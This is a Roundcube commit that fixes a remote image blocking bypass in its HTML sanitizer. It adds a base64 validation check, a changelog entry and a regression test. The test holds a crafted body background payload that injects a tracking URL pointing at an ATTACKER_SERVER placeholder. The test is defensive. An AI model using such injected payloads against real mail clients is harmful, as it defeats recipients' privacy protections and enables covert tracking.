Skip to content

Commit fd0e981

Browse files
committed
Fix remote image blocking bypass via a crafted body background attribute
Reported by nullcathedral
1 parent 82ab5ec commit fd0e981

File tree

3 files changed

+13
-0
lines changed

3 files changed

+13
-0
lines changed

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ This file includes only changes we consider noteworthy for users, admins and plu
1313
- Security: Fix bug where a password could get changed without providing the old password
1414
- Security: Fix IMAP Injection + CSRF bypass in mail search
1515
- Security: Fix remote image blocking bypass via various SVG animate attributes
16+
- Security: Fix remote image blocking bypass via a crafted body background attribute
1617

1718
## 1.7-rc4
1819

program/lib/Roundcube/rcube_washtml.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -416,6 +416,11 @@ private function wash_uri($uri, $blocked_source = false, $is_image = true)
416416
return 'data:image/' . $type . ',' . base64_encode($svg);
417417
}
418418

419+
// At this point we allow only valid base64 images
420+
if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
421+
return '';
422+
}
423+
419424
return $uri;
420425
}
421426

tests/Framework/WashtmlTest.php

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -271,6 +271,13 @@ public function test_style_body_attrs()
271271
$this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute');
272272
$this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute');
273273
$this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute');
274+
275+
$html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
276+
277+
$washer = new \rcube_washtml(['html_elements' => ['body']]);
278+
$washed = $washer->wash($html);
279+
280+
$this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background');
274281
}
275282

276283
/**

0 commit comments

Comments
 (0)